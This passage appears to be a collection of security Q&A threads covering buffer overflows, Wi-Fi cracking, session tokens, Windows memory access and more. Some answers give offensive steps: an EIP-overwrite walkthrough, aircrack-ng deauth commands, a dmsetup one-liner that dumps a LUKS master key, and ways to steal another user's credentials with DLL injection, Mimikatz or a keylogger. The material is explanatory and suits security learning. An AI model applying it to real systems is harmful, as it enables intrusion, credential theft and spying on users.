   0x400631 <main+73>:  callq  0x400470 <printf@plt>
   0x400636 <main+78>:  callq  0x400490 <getchar@plt>
   0x40063b <main+83>:  leaveq
   0x40063c <main+84>:  retq
   0x40063d:    nop

Although, I'm confused as of where to go from here. I know that the function will return to the line of 0x400611 and that I need to cause it to jump to 0x400631, but I'm not sure how to determine how many bits to jump. I've been trying to follow along with example 3 from insecure.org/stf/smashstack.html but I've gotten lost when it comes to figuring out how many bits to adjust my variable. Any help?

As you have already identified you will need to return to address 0x400631. When you smash the stack with your argument you should control EIP. Ie:

./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

You should see EIP of 0x41414141. Now you need to determine where in your stack of A's the 4 bytes that becomes EIP are located. You can use tools like metasploit's pattern_create.rb/pattern_offset.rb or since it's such a small buffer you can do it manually:

./a.out AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT

And based on the address of EIP you can now determine if it's A (x41),B (x42),C (x43), etc. This will tell you how many bytes you need to place before \x31\x06\x40\x00. This is of course not a reliable exploit as the return address is hardcoded, but it will suffice for your learning example.


Is a reversible microphone kill switch in hardware plausible? I'm forking this from this question, to which I gave a partial answer.

These folks claim that their hardware includes a physical kill switch for the internal microphone that reversibly interrupts the wire. They provide a reference diagram here.

This raises an interesting possibility for matters of surveillance. Is a reversible switch a workable solution for microphone surveillance exploits?

Well, yes, it's called a switch.

Microphones from a hardware perspective are (in the case of electrets, at least) a capacitive component which produces a small current when the membrane moves due to sound. By amplifying this signal you can capture a sound signal.

By simply disconnecting the audio line from the mic itself, or just turning off the amplifier circuitry, you cut the input and no longer provide any audio to the hardware. It's as simple as unplugging a 3.5mm jack from your phone, except with a switch.


Handling session tokens when a users IP changes with extreme frequency My web service is an API-driven Single-Page-Application. Once the user logs in they're given a temporary token to use for the rest of the session which is sent along with each API request. The token is of course tied to the IP address that performed the login request. This means that even if a 3rd party somehow managed to capture a token despite TLS, they probably couldn't use it and it wouldn't be usable by anyone at all after the current session ended.

But I recently came across a user whose IP address changes with extreme frequency (as frequently as every 30 minutes) causing them to frequently need to re-log-in while using the service. The address change is caused by on-campus dorm internet that recycles a very limited pool of IP addresses that the end-user of course has have no control over.

How can I reconcile keeping the security of my current setup, while also not causing users in this situation grief? The best 'middle-ground' I've got so far is loosening the IP requirement to only match the first octet of the address, but that's far from ideal.

I am inclined to say that the bit about tying the session token to the source IP address is harmful and should be removed.

Such a tying is often reported as "good for security", but exactly why it is good for security is rarely explained. It is similar, in that respect, to the widespread recommendation for changing your passwords regularly: a well-entrenched Tradition, for reasons that nobody quite remembers, and with toxic side-effects.

The main reason why session tokens are to be tied to an IP address is not to prevent reuse after theft through the TLS layer. Let's face it: if an attacker could break through the TLS, then a filter on the IP address won't block him either. Such an attacker could so much hijack the user's connection that he totally owned it; masquerading with the user's usual IP address will not deter such an attacker.

The real reason for tying the session token to the IP address is to try to prevent a user from sharing his token with all his friends. This is a commercial issue, similar to software licensing. It is normally best addressed with surveillance: instead of blocking session tokens that do not come from the same IP address as previously, you should merely log such an attempt (but still allow it), and, asynchronously, investigate situations where a token appears to be used by too many source IP addresses.


Few questions about aircrack-ng Hello I recently started playing with aircrack-ng and I have few questions.

When I'm starting with the whole process insted of turning on the monitor mode I do the opposite airmon-ng stop wlan0 and listen with airodump-ng wlan0. I do this because when I'm listening using airodump-ng mon0 (after i airmon-ng start wlan0 of course) I can't get a handshake, and with wlan0 I can. Is this normal or am I missing something?
I read on their website that there are some wireless cards that can only listen to packets, and can't inject them. I can't seem to deauth a user on some network so I'm wondering if it's a problem with my card or am I doing something wrong? I tried to deauth on a few different ways:

aireplay-ng -0 0 -a *BSSID* wlan0
aireplay-ng -0 0 -a *BSSID* -c *DMAC* wlan0
mdk3 wlan0 b -n *DMAC*

Also when I run aireplay-ng -9 wlan0 I get 0/30 successful packets injected on every AP.

I can't seem to determ if my card is capable of injecting packets. The command lspci -nn | grep 0280 gives me 02:00.0 Network controller [0280]: Intel Corporation Wireless 3160 [8086:08b4] (rev 93)

Okay friend, here's some notes:

As for the handshake problem, from experience, it might be the following:

You're not close enough to the router, there is a chance that you'll not capture the handshake if the client is too close to the AP and the monitor mode device is relatively far.
A hardware issue, your network device is old and not compatible, so it can't capture packets from another protocols. For example if your device running 802.11g and the network is 802.11n

Solution: First, try to capture the handshake from different physical positions, if it doesn't work, try another WiFi device.

Note:

Some answer said to kill processes that interfere with airmon-ng. Don't use the command airmon-ng check kill because you'll stop the network-manager application.

Don't use the previous command to fix the fixed channel -1 error, instead, use the following commands when starting monitor mode:

airmon-ng start wlan0
ifconfig wlan0mon down
iwconfig wlan0mon mode monitor
ifconfig wlan0mon up


Windows process documentation for tuning Sysmon I recently installed Sysmon, which logs events to OSSEC and currently monitors several endpoints. I have been trying to whitelist benign processes such as Windows services. Many of these processes run with commandline arguments e.g. svchost.exe -k netsvcs -p -s NetSetupSvc. However, an explanation of these commandline arguments is not available for many of these Windows processes when using /? in the command prompt e.g. svchost.exe /?

Is there documentation online that explains the commandline arguments of these Windows processes? It would also be useful if there is documentation indicating the parent process that spawns a specific Windows process.

The reason I am requesting this information is so that I can whitelist a Windows process using its process name, commandline arguments and parent process. I do not want to whitelist a process by only using its process name as this would not detect malware which uses the same name.

Microsoft tends to not document things which they don't believe are to be used by customers.  I would not expect to find Microsoft documentation for this executable but a close alternative is to research findings from people who reverse engineer Microsoft products.  I have a general expectation of this from having worked in support of core Windows OS a while ago.  The only supported end user tweak on this service that I remember was splitting services away from a shared svchost instance into a single, dedicated service in a new svchost process, for added system stability or for debugging.

If you would be happy with third party research, using Sysinternals tools on a live system, searching the Windows registry for values to do with services or picking up a copy of Windows Internals book could get you close to what you actually want to achieve.

Samples:
https://www.geoffchappell.com/studies/windows/win32/services/svchost/index.htm
https://www.raymond.cc/blog/identify-loaded-svchostexe-in-windows-task-list/

Finding out the parent process can be done a number of ways but each process carries it's own Process ID (PID) as well as the PID of it's parent process.  If the parent process is still running you can query it by finding that PID.  Further if you enable process tracking auditing, those process creation Windows events should contain the parent process information which spawned the new process.


How to apply IT Security knowledge to Home Security? Today my car got stolen from my house, and it is possible the person who did it has access to my home. I try to take secure measures online to maintain security, yet it seems I never paid attention to my house.

As an IT Security practitioner and fan, I am interested in applying my knowledge to secure my house. What are some methods or approaches I can take as an IT guy, to secure my house? It would be great if I could maintain entry logs, get notification of unusual activity, protect computers left at home, and so on.

The idea is to create records and maintain more control of home access, with hardware that is already accessible or cheap, such as an old computer, serial I/O Kit, drive alert and cameras.

Example:

1: Unix/Linux Server records time/date door A was opened and closed thus creating logs.

2: Upon opening door A from 8 AM to 5 PM, servers sends a SMTP message to x@x.com notifying this event.

3: Upon opening door A from 8 AM to 5 PM, camera is on and it is accessible through Internet for me to connect.

If I had this not only would I have better logs in case of an emergency, but I would have better control of my home access, whether kids skipping school or unauthorized personnel entering restricted property (someone breaking in).

If you're going against an all-out ram-raid, get some shutters, surround your house with concrete bollards, get solid steel doors with secure and recessed locks (Google "K tool"), and rock yourself to sleep in the basement at night. I don't think that's you, but I just had to put in the answer. :)

The rules of security in the server room are very similar to the rules of security at home. First, there's the cost / benefit trade-off, and that's often a tight ratio in the home market. Additionally, cost is more than just the price. For example, windows are a weak point in building security. That can be countered by placing steel roller doors over the windows. Even if they're cheap, they're still damn ugly and may pose a fire hazard trade-off since you can't get out of your house when they're closed.

So, the question is what you're trying to defend against. This is a great way to get comfy with the idea of "Threat modeling." For surreptitious entry, use detection rather than access control. Upload a picture to a remote site whenever motion is detected. It's cheaper and can be used to try and track down the thief.

Your goal after that is also to slow them down a lot. If you can bolt / lock / fill with concrete anything enough to make it take 10 minutes from the time you're notified until the time where somebody could reasonably run away with it, you'll probably get to keep it. Drive a few screws with an unusual head through your computer case and into the platform (wood?) below it. If your desk is designed at all like mine, the computer sits in a box that's part of the desk structure. Slap a lock on it. Even those simple security cables for laptops will help and most desktop chassis now are compatible with them (Kensington lock slot).

Where we often want to keep people out for a long time / completely in the IT / Industrial world, your home is mostly about delay, delay, delay. To that effect, most American residential locks are crap and I've lived in some places where I can pick the front door as fast as I can put the real key into it. If you're looking for good locks, the folks from Security Snobs have vendor booths at DEFCON and some other events and have positively intimidating looking locks. Alternately, just get any lock that costs at least $25 and isn't made with buttons.

Finally, just lock your windows. If you've ever locked yourself out of your own home, it's the first thing you look at to get in. You're not the only one to think that. Like SQL injection, it is still a top weakness.


How to hide real IP from browsers while using VPN? You probably know that even when you use a VPN service, browsers like Chrome and Safari can still somehow provide your real location to Google Maps etc (if you give it a permission).

My question is: how to hide my real IP from the browsers? Maybe some additional security software can be used to achieve it?

The geolocation API which allows websites to obtain your location from your web browser is supposed to be opt-in. The standard specification says that it must not be enabled without the users permission. For that reason it can be switched on and off in the settings of most web browsers.

When you don't trust your web browser to respect that preference, then you should use a different one. When you run software you can not trust, you've already lost any security you could have.

That being said, you could build a setup like most corporations do. Set up a LAN where the workstations have only a local IP address and no internet connection. Then set up a proxy server on your LAN which is the only machine with both a LAN IP and a WAN IP. Install the VPN client on the proxy so it uses the WAN IP only to tunnel to the VPN provider. Have the web browsers on the workstations connect to that proxy using the proxys LAN IP address. That way you could do web browsing while your browsing machine isn't aware of the WAN IP (and not of the VPN provider either, for that matter). As a side-effect you have also succesfully firewalled your workstation against any internet communication which isn't supported by the proxy.


Win10: Access other logged on users' memory How easily can admin users access the data of other users' running processes on Windows 10?

Especially webpages loaded by Chrome.

Example

Context

Bob and Alice share a single Windows 10 installation.
Each has their own password protected local user with admin rights and they don't know each other's passwords.
They know that having seperate users and NTFS permissions alone don't protect their data so they do sensitive activities with portable applications saved in EFS protected directories.

Scenario

Alice is using the computer, logged in to her account.
She uses Chrome Portable, which (together with its profile folder) lies in her EFS encrypted (and now that she is logged in transparently decrypted) directory to check her super secret bank account via the bank's website.
She makes notes about it with Notepad, copying over sensitive payment references with windows' clipboard, and saves them to a file in the EFS protected directory.
When she hears Bob approaching, Chrome and Notepad are both still running displaying the highly sensitive data, but she only manages to quickly press Ctrl+L and so lock her account without logging out, giving Bob the opportunity to log in with his account.
Bob logs in with his account.

How easily can Bob find out ...

... that Alice was using the computer just before he came (as opposed to having locked it earlier)
... what programs she was/is running (AFAIK that's just visible from any process manager's process list)
... when she was running those programs
... what files* their processes access *(from the EFS protected directory)
... the sensitive data itself.

... by ...

a) ... reading the pagefile and/or hiberfil
b) ... directly reading from RAM
c) ... trying to take ownership of the running processes
d) ... any other way that does neither involve guessing/brute-forcing Alice's password nor disassembling the computer and is possible in max a couple of days.

First, a bit of basics: users don't have memory, processes do. Usually these are user processes (such as Alice's Notepad.exe instance), but they can also be system processes (such as services or subsystems - like Local Security Authority Subsystem, LSASS.exe - which may span user sessions and have per-user memory). As you noted, an Administrator-level user ("admin") can list the processes of other users quite easily. They can do more than that, though: they can access those processes (or any other processes on the system, except for a few that are protected for DRM reasons) as though the processes were their own. This includes full debugging access (with read - and write, though that's not relevant here - access to the process' memory), and also enumerating the open HANDLEs (files, network sockets, registry keys, named pipes, shared memory sections, etc.). Admins also can access quite a lot of logging info on the system.

To answer your specific questions:

If Bob bothers to check, this is easy. He can look in the event viewer for security events like Alice logging in and then locking her session. He can look at files that Alice has open (by checking the HANDLEs of her processes) and see what their date-modified or date-accessed timestamps are (even EFS-protected files still expose metadata like timestamps).
Currently-running programs are very easy (Task Manager, tasklist.exe, Powershell, Resource Monitor, etc.). In fact, it's almost hard to miss if he uses any of those programs. Programs that Alice closed recently are harder, but still possible; they may have Event Log entries, they may have modified data files that only they would have reasonably used, and their date-accessed timestamps on the binaries will be updated. Bob would have to go looking for those, though, rather than them just falling into his lap the way her currently-running processes would.
Same as #2, really. Knowing the exact times a program that is no longer running was started and stopped might be hard, but he could get some point when it was running just by checking timestamps on the right files, and possibly more info by looking at system or app-specific logs (assuming the app-specific logs aren't encrypted).
For processes that are still running, enumerating their open HANDLEs is easy. Several built-in programs can do it (for example, Resource Monitor), as well as common free ones such as Process Explorer. Sorting that list by file path, and looking for the paths that lead to Alice's encrypted directories/files, is easy enough.
This is trickier, though still possible. Using a debugger (such as the free WinDbg or Visual Studio Community Edition from Microsoft), you could definitely read the process' memory, but knowing where to find the data you seek could be hard. An easier option would be inject a DLL into the process (you'd need to have written the DLL, or found one online, but anybody reasonably familiar with Win32 programming and with access to a compiler could do it in well under an hour) with a DllMain function that either reads the files you care about and writes them to an unencrypted location, or simply decrypts the files themselves (or grants Bob access to them; EFS files can support multiple users accessing them).

Reading from the pagefile or hibernation file is technically possible, but is usually something you would only resort to if the computer was turned off and its RAM held no data anymore. You would need to do a decent amount of forensic work to re-construct which blocks of memory were in use by which processes for what purposes. Much easier, if you want to do raw memory access like that (which is basically what those files are, raw memory written temporarily to disk, though only incompletely in the case of the pagefile) and don't have a specific tool for finding the data you want (which you could write, but it would take a lot more effort), to use a debugger that lets you query the running system and its processes in real-time.

Taking ownership of the processes isn't actually needed; admins have debug-level access (and edit-permission level access) to all processes by default, and can (with only moderate effort) ignore the ACLs of any process (or file, or other securable object) at will. They can also take ownership of any securable object, at which point they can edit its ACL and then, if desired, set the owner back to the original owner and even restore the original ACL; so long as the admin (Bob) opened a HANDLE to the process with the desired permissions while he had given himself access, he can access the process' secrets via that HANDLE even after restoring the original access. Note that taking ownership of the process merely changes who controls access to it and some other details; it does not change the Session or Window Station of the process' windows, which means you can't move those windows onto your desktop.

One way that you didn't mention, but that deserves mention, is simply extracting Alice's EFS key, or even her password, from the running system. Since she is still logged in, her credentials will be stored in memory. The most common tools for extracting them are Mimikatz and Cain & Abel. On Win10, it is possible to protect the memory used for storing the passwords in a way that defeats typical use of Mimikatz, but this is neither the default configuration on most systems (especially home ones) nor a foolproof protection against, for example, forcing one of Alice's running programs to just export her EFS key (which can be done using standard Windows APIs, though you might need to write a DLL that calls them yourself). If you get Alice's credentials, you can then use them to log into her still-running session (through the Login screen, or over the network via Remote Desktop Protocol) and take over her session that way.

Also, if Bob is a sneaky sort, he could change Windows so that users' passwords are stored under reversible encryption, and then just decrypt Alice's password. He would have to wait for her to log in again - changing that setting has no effect on users until they log in - but he could do it if he accessed the computer subsequent to changing the setting and then letting her use it (and she didn't change it back). Alternatively, he could simply install a keylogger to record Alice's passwords.


Does the ability to delete data impact availability in CVSS v2? NIST SP 800-33 2.0.1 says that "availability" part of the CIA triad protects against intentional or accidental attempts to either:

perform unauthorized deletion of data or
otherwise cause a denial of service or data

This makes it pretty clear that the ability to delete data does in fact modify availability from a security standpoint in general.  However, the CVSS v2 spec states:

  This metric measures the impact to availability of a successfully exploited vulnerability. Availability refers to the accessibility of information resources. Attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

All of the examples provided discuss service availability, not data availability.  I know that CVSS v3 clears this up by explicitly stating:

  ...That is, the Availability metric speaks to the performance and operation of the service itself – not the availability of the data.

When scoring a vulnerability which provides the ability to delete data with CVSS v2, do you score it as impacting availability?  Is it safe to assume that this clarification can be back-ported to v2?

This is quite a interesting question and an aspect I struggle with myself. „If Integrity is violated in a way that I can create new users, will it affect the other two properties“, for example.

I think the answer is maybe, even when it is a bit counter-intuitive to have three properties when they are often linked.

In your case there is an example in the CVSS 3.1 User Guide which states the losing confidentiality of a root password does impact integrity and availability of the system (as long as the analyst assumes the credentials can actually be exploited).

  In vulnerability 2, a local, low-privileged user can send a trivial, crafted request to the operating system which causes it to disclose the plaintext password of the root (administrator) account. The analyst knows from the Exploitability sub-score metrics and the vulnerability description that the attacker has access to the operating system, and can log in as a local, low privileged attacker. Gaining access to this password represents a direct, serious loss of Confidentiality, Integrity, and Availability because the analyst can reasonably issue commands as the root / administrator account (assume that the attacker could log out from their own account and log back in as root):
  Base Score: 7.8 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

The example talks about issuing commands (it is not clear if this is limited to shutdown commands or also data delete commands, maybe this would be the line to draw when judging impact: if you can delete data files then integrity is violated, when you can delete system files then availability is impacted). And yes this violates classical (NIST, GDPR) availability definition, but CVSS seems to be reasonable specific on this point.


Is PBKDF2 only SHA1 in C#? I can't find a way of specifying the hashing algorithm used by the PBKDF2 (the Rfc2898DeriveBytes class) implementation in C# System.Security.Cryptography.

It seems to be just SHA1. Am I missing something? I was hoping to use PBKDF2-SHA256.

Have a look at this blog post: the author has apparently observed the same lack of SHA-256 support in the Rfc2898DeriveBytes class of .NET, and set out to write his own code. (I have not looked at that code and cannot vouch for its quality.)

Otherwise, it would not be too hard to reimplement PBKDF2 with HMAC/SHA-256, following the description of RFC 2898, section 5.2. .NET includes an implementation of HMAC/SHA-256.


What are the security issues of exposing default server home page in public internet? I have seen on internet where several website companies have exposed the default home page of web server such as Tomcat, NGNIX, Apache web server. I always believe it is not the best practice to  expose default web server page. But now a days most of the web-servers avoid any sensitive information in home page. So at present is there any issue in exposing default web server pages to internet?

Exposure of these details allow attackers to conduct enumeration, which is the process to extract and obtain information of targets in order to launch future attacks.  For example, knowing the PHP version that is running on a particular server allows an attacker to find what vulnerabilities are on that particular version that could be exploited, providing that these have not been patched. This is just a simplistic example of enumeration.

There are website resources out there that discuss this in further detail, the techniques used to enumerate various information, and so on.


What technologies does ChromeOS use to secure saved passwords? I have read that Chrome will use the system's native credential tools to manage saved passwords (e.g. KeyChain on OSX, libsecret on Linux/GNOME etc). Does anyone know what tools are used on ChromeOS?

ChromeOS is build on Linux only, so the developers take the advantage of the existing solutions available for encrypting the user data AND make it automatic and mandatory.

If we talk about options available to ChromeOS developers (because of the fact that it was built on Linux) was --

Block based Encryption
File System based Encryption
Whole disk Encryption
Whole data partition Encryption

File system based encryption was chosen for encrypting the home directories of all the users. Encrypting user's home directories means all the data (including cached history, cookies, saved passwords, and other) will be encrypted by default and will be transparent to the user.

If we talk about specific tool (or package) which ChromeOS uses to encrypt the saved password (as saved passwords are also stored in the user's home directory), eCryptfs (Enterprise Cryptographic Filesystem) is a package which do the encryption in ChromeOS.

Hope this explains your query.

References -
1. https://www.chromium.org/chromium-os/chromiumos-design-docs/protecting-cached-user-data#Appendix_D_Designs_considered


Unable to get EAPOL packets in monitor mode I am not able to get EAPOL packets on Wireshark. I've provided my AP's PSK decryption key to protocol 802.11 and adjusted my monitor mode interface's(TP-Link WN722N) frequency channel correctly. I got only 802.11 and LLC frames and not able to see any HTTP, TCP and EAPOL pdu although I have all traffic types multicast/unicast/broadcast, up to MCS7 for 802.11bgn.

Is my potential problem only decryption of frames or a frequency mismatch? Are there any required configuration to get EAPOL packets?

I figured out the problem by rebooting my AP during Wireshark capture session. After doing that Wireshark could capture EAPOL packets, then decryption worked as well. However, I cannot capture all packets in the WLAN traffic and don't know why.


Stealing Veracrypt or LUKS hash while system running? If a hacker gains access to an encrypted system (Veracrypt, LUKS or any other software) via the internet while the system is running - can they steal the hash from RAM and later use that hash to decrypt the system if they gain physical access to it? From what I know a hacker with physical access to a running system can steal the hash, but can this be done without physical access?

If the attacker has root, then yes, easily. For LUKS, this can be done with dmsetup table --showkey /dev/mapper/whatever | awk '{print $5}' | xxd -r -p to get the master key file, which you can then pass to cryptsetup later.


Anyone know of security tools utilizing google's prediction API? http://code.google.com/apis/predict/

From google:

  What is the Google Prediction API?
  The Prediction API enables you to make your smart apps even smarter. The API accesses Google's machine learning algorithms to analyze your historic data and predict likely future outcomes. Using the Google Prediction API, you can build the following intelligence into your applications:

  Recommendation systems (demo code)
  Spam detection (demo code)
  Customer sentiment analysis
  Upsell opportunity analysis
  Message routing decisions
  Diagnostics
  Document and email classification
  Suspicious activity identification  <--- I'm particularly interested in this one
  Churn analysis
  Language identification
  And much more...

If I were to make a fairly estimated guess, I'd say it was this suspicious login notification thing.

It's not as complicated as you initially portray. At best, it's like Evercookie, Panopticlick,  and Quova mixed up (at worst, it's just squid-imposter bundled into Metasploit with instructions). It's going to tell you when authenticated users using the same credentials are in two place at once, or when ones sourced from dangerous countries, or other extenuating, potentially predictable situation.


Why does SQL not escape/sanitize by default? First, since there is no SQL stackexchange I am not sure where the best place to ask this question is (I debated between here and programmers.stackexchange). If this is the wrong place, please move it.

It is an obvious flaw in SQL that inputs are not sanitized by default and user-input can be executed. When designing SQL, surely the programmers must have realized this fact? Why then did they not put any default safeguards against it such as escaping by default, or even better, completely rework it so that user-inputs could never be executed.

Other languages, whether compiled or interpreted, (like Java, Python, C, etc.) don't seem to suffer from a similar vulnerability where user input could be run. Why then is SQL uniquely special in this case?

SQL is a programming language. The problem is not a lack of SQL about "sanitizing inputs"; SQL is the input, not something that receives inputs.

The problem is applications that take it upon themselves to automatically generate some SQL based on an haphazard mixing of string elements of dubious origin. An application that suffers from a SQL injection vulnerability, is an application that acts as a code generator. And automatic code generation is extremely hard to do properly when the target syntax was meant for human consumption -- the generator must be aware of all the arcane details of parsing and avoid all the little details and exceptions that are meant to help humans, but make life very hard for machines.

Nevertheless, when there is a need for executing SQL statements with externally provided parameters, a clean solution exists: it is called prepared statements. SQL databases support, and have supported for long, prepared statements. You cannot blame SQL for "not sanitizing inputs" because SQL offers exactly a method for "sanitizing inputs"; you should blame developers for not using it.

(SQL can be blamed for a great number of other things, but not for this one.)


Security Best Practices - firewall Outgoing traffic vs incoming For a PC that only needs basic internet access, for web browsers and updates, generally speaking, is there any need for incoming ports to be opened on the pc's firewall?
If outgoing port filtering is enabled on a pc's outgoing firewall, how do you determine the ports needed for the application? I guess there could be documentation\google\forum somewhere, but if not, is packet netstat\packet filtering the only way to go?
Does microsoft have a list of all the services that come in Windows that need network connectivity? like a list of them all. Because if outgoing connections are filtered, they need to each be whitelisted.

No. Incoming ports should only be whitelisted when the computer is intentionally providing a service to the outside world (e.g. web server, RDP, etc.).
Yes, inspecting the traffic is the only way unless you already have an exhaustive list of software running on the machine and know which ports it relies on. However, this is generally not necessary for home users and extremely difficult to do correctly. If you are the user, it's far easier to educate yourself about avoiding malware. If you have other, less technical, people in the house, you may want to go the software firewall (e.g. ZoneAlarm) route and set it up to block everything by default (perhaps even require a password to whitelist, if that feature is offered).
There are knowledge-base articles, but they may not be 100% lists. In any case, please refer to #2 before going this route.


Will an SSL certificate prevent cPanel hacks? The cPanel on my website is being hacked, and I am not sure that the setup my host provides is totally secure. The hack works by intercepting my login. Will an SSL certificate prevent this? If it will, then it would be a lot cheaper than either the host or myself trying to fix a security bug.

Addendum: SSL did indeed stop the hacking.

If the problem is that somebody intercepts your password by sniffing the unencrypted network traffic then using SSL will help. This means not just installing a SSL certificate but actually using https:// instead of http:// to access the site.

If the problem is instead a security issue of cPanel or that the attacker grabs your login credentials on your own machine (malware, malicious browser plugin or similar) then SSL will not help since it only protects the transport of the data between browser and server.


How does Java 7 update 11 fix the security vulnerability? There is a new Java released a couple days ago to resolve a hole that was recently discovered.
(Oracle, US-CERT, NVD/NIST)

In my initial reading about this update 11, I saw clearly where it by default partially disabled the run-without-asking functionality, but didn't see where it was actually fixing the underlying problem. So, is the following info correct?

Is the vulnerability on the Java sandbox found in both 7u10 and 7u11?
Am I right that this is almost exclusively a problem with the Java plug-in (web browsing with Java enabled), but does have consequences in some generally unknown applications that make use of the sandbox.
Is it true that the only way to sidestep the problem is to prevent code you don't trust from running. (either disable Java, or adjust to always ask before running applets)
Is it true that the only relevant difference between 7u10 and 7u11 is that instead of (by default) running applets without asking, Java 7u11 will ask the user before running unsigned applets, while remaining to run signed apps without asking. Which would mean that signed apps can still be used to exploit the vulnerability?

The linked CNET article refers to CVE-2013-0422 "Oracle Java 7 Security Manager Bypass Vulnerability" (Oracle, US-CERT, NVD/NIST). From the Oracle link: "Affected product releases and versions: JDK and JRE 7 Update 10 and earlier".

"The vulnerability on the Java sandbox exists in both 7u10 and 7u11"
is incorrect. 7u10 is vulnerable. 7u11 is not. The update notes suggest that the bug was fixed by code changes, not by simply changing the default security level as you seem to imply in your final bullet point.
The Java browser plugins are very problematic because they allow
drive-by type attacks against vulnerable systems. Just visit a
hostile URL, and the machine is compromised - no download, no warning
dialogue. Here is a video demonstrating an attack. Perhaps there are other attack vectors, but the browser is
the most important by far.
Correct - the only way to be sure is to prevent browsers from calling
Java (by disabling the browser helpers, or uninstalling Java
entirely)
The difference between 7u10 and 7u11 is described in the Oracle
Update Release Notes. Summary:

  This release contains fixes for security vulnerabilities. For more
  information, see Oracle Security Alert for CVE-2013-0422. In addition,
  the following change has been made: Default Security Level Setting
  Changed to High


PDF Server Side 2020 I have been gathering information on handling PDF files for web applications. Much of my research has been on displaying the files to the user.

What I want to learn here is how to properly handle the file on the server side. That is,

1. How to properly accept and store a new document.

Lets assume I can trust a new incoming PDF file. My current plan is to store the file outside of my web root. I will then store meta-data (title, date, doc type, location in system, etc) in a Database.

2. How to properly link a PDF file for access.

Whether the files are stored inside or outside of web-root, we do not want to use the full path of the document for an <a> tag or something of the like. We want to give as little information about the file system as possible. Lets assume my file is stored in /documents/*doctype*/*YYYY*/*YYYYMMDD*/*title*.pdf. I currently have two methods on the table for protecting the path.

A.) I can only provide a key or unique identifier for the document and when attempting to access I will look for that key along with the associated path in the database. Once the path is found the file file may be opened.

B.) I can encrypt the different pieces of the file path when output to the page and decrypt when a user attempts to view that PDF.

!!! Consideration: this may prevent my ability to open the files for viewing in browser provided sandbox environment. !!!

3. How to store potentially malicious PDF files.

Lets say I have an end user with ill intent that has decided they would like to attack my system using a PDF file. This user would be able to upload the file directly to my system without any characters being removed from the document. The file is only saved by the system and only meta-data is read. While this file is imported to my file system, will it be able to execute any malicious code? If the file is never read by the system, can it be considered safe until it is downloaded or viewed?

1. How to properly accept and store a new document.

I would recommend to store files in the database, not separately. A) File system is not transactional. That's why it is hard to keep it consistent with database. B) Creating of backups and restoring of particular versions from backups can lead to inconsistencies between file system and database: Database can contain references to files that don't exist, or there can be files that are not references in the database. Database will

2. How to properly link a PDF file for access.

Take your approach A). Use randomly generated unique IDs. They will not disclose your internal structure of the application (and hide the structure of your file system, if you stick to it).

3. How to store potentially malicious PDF files.

A) Check MIME type. There are many libraries that can do that for you. If the file is not PDF (not one of multiple PDF versions), then reject storing such file.

B) Set some size limit.

C) Use virus scanner (if your company or your provider has such option). Send file to virus scanner. Store it afterwards only if no virus was found.


Bogus Instagram account using my email, never been verified, has over 1000 followers This appears to be a phishing scam like I've never encountered before.

I received an email from security@mail.instagram.com to an email address I rarely use, but I noticed it because messages get forwarded to my main email address. The subject is: New login to Instagram from Instagram app on Apple iPhone.

Well, that wasn't me. I haven't used Instagram in ages, and never did I use it with the email address in question. I take a closer look. It's not my Instagram account, but the email shows a username that is my real name with extra characters. I don't live in San Francisco where the login supposedly occurred, and I definitely didn't set up this account. Someone got my real name from that email address I seldom use and has set up an imposter account.

There are several other messages from security@mail.instagram.com in the inbox of this rarely used email address with the subject Verify Your Account and those too seem authentic, although I suppose the domain could be spoofed (not a subject I know much about). If these are phony email messages, they're unusual phonies, because all the links (for password reset, etc) point to https://instagram.com URLs. I found it alarming that the one email appears to confirm a successful login to this imposter account that I never verified.

It gets stranger. I decide to take a look at this user, this imposter me's Instagram profile page (https://www.instagram.com/username). They have:

0 posts
over 1000 followers
several hundred 'followed'
profile picture blacked out

This is an actual live Instagram account, no doubt about it.

One link in the email is: Not your account? Remove your email from this account.

Actually the full URL is longer, followed by a string of about 80 more characters after report_wrong_email/. I will not post that part because I don't know whether or not it could help a scammer uniquely identify me.

After checking that the domain was https://instagram.com/ I followed that one link in an attempt to remove my email from the imposter account. It led to Instagram's site, just not a valid page.

The shortened URL from the link above (https://instagram.com/accounts/remove/report_wrong_email/) led me to a page looking like this:

The full URL led me to a page looking like this:

This page just by itself is weird, having both a Log Out link and a Log In link shown simultaneously on different parts of the page. It's part of Instagram's official site though. Highly suspicious for such an important link to be broken, pointing to the email being a fake.

This definitely smells of a scam, but I can't figure out how the scam is supposed to work or how worried I should be. I have already reset the password on the email address the messages were sent to. What's the best way to handle this? I could try to reset the fraudulent Instagram account password, reclaim the account, and shut it down, but maybe that's exactly what the scammer wants me to try if it's a phishing thing. And what's with all the followers? Instagram's Help Center is pretty useless, with apparently no way to report account fraud to a human being.

Usually bots create Instagram accounts to sell likes and followers. If your email is used for this account, use the Forgot Password functionality to receive a reset password link, reset it, and delete the account.

Or take over it and repurpose it. But I don't believe your 1000 bot-followers would be interested on your legit content...


Securing an existing website We use a browser accessible CRM software in our office. Mainly it is a desktop solution, but with the browser access installed, it is available through https too (self signed certificate). Up till now, We only allowed to access it on the local network, so anyone who wanted to use it from outside connected to our OpenVPN server. The problem is, some users are plain stupid and cannot use the VPN client to connect (even though I made tutorial videos :() and they always forget to disconnect, thus hogging the resources of our servers (more like bandwidth).

Also, the users use stupidly easy passwords (yeah..), so just opening up the site to the outside is not an option. Is there a solution for securing such big security hole? I thought about making something in the middle that would authenticate the users based on a pre-distributed certificate, maybe they can install the certificate once in their browser, but i don't know how secure that would be.

Edit:

The clients use their own personal devices to connect to our servers. Until now, they used OpenVPN, but we would like to stop that method of connection and only allow the website to be used. The website pops up a login page if you open it (uses some kind of SAML2 authentication, requires you to accept two certificates), after that you need to provide a username and password, which is the same as you would use in the desktop application. These password are not secure, too easy to guess and the users don't want to change them. I need an option, where with the smallest possible work, an end user can configure a secure access to this website and after passing that first layer of authentication, can login with his unsecure password.

I can access the website's configuration, but there is not much I can do there regarding this problem. That is why I though of solving this before the website's login page.

(The platform is SAP Business One 9.2 Server, with SAP GateKeeper / Browser Access for B1 9.2. Both the SAP Server and the SAP Browser access is hosted on a Windows Server 2012R2, but on separate machines, the browser access is a virtual one and the SAP Server is a dedicated one. Also we have a pfSense Router)

You could:

enforce strong passwords on the site
install client side certificates
